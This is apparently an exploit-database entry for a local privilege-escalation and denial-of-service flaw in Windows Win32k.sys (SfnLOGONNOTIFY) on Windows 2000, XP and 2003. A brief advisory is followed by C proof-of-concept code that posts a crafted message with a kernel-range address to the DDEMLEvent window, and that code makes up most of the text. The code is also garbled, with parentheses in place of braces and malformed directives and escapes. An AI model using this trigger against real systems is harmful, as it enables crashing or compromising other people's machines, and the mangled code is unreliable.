Microsoft Windows SfnLOGONNOTIFY Local Privilege Escalation

`# Source: http://www.securityfocus.com/bid/39630/info  
  
Microsoft Windows is prone to a local privilege-escalation vulnerability.  
  
A local attacker may exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts may cause a denial-of-service condition.  
  
Microsoft Windows 2000, Windows XP and Windows 2003 are affected by this issue.  
  
# Include "stdafx.h"  
# Include "windows.h"  
int main (int argc, char * argv [])  
(  
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\[email protected]\nPressEnter");  
  
getchar();  
  
HWND hwnd = FindWindow ("DDEMLEvent", NULL);  
  
if (hwnd == 0)  
(  
printf ("cannot find DDEMLEvent Window! \ n");  
return 0;  
)  
  
PostMessage (hwnd, 0x4c, 0x4, 0x80000000);  
  
  
return 0;  
)   
  
`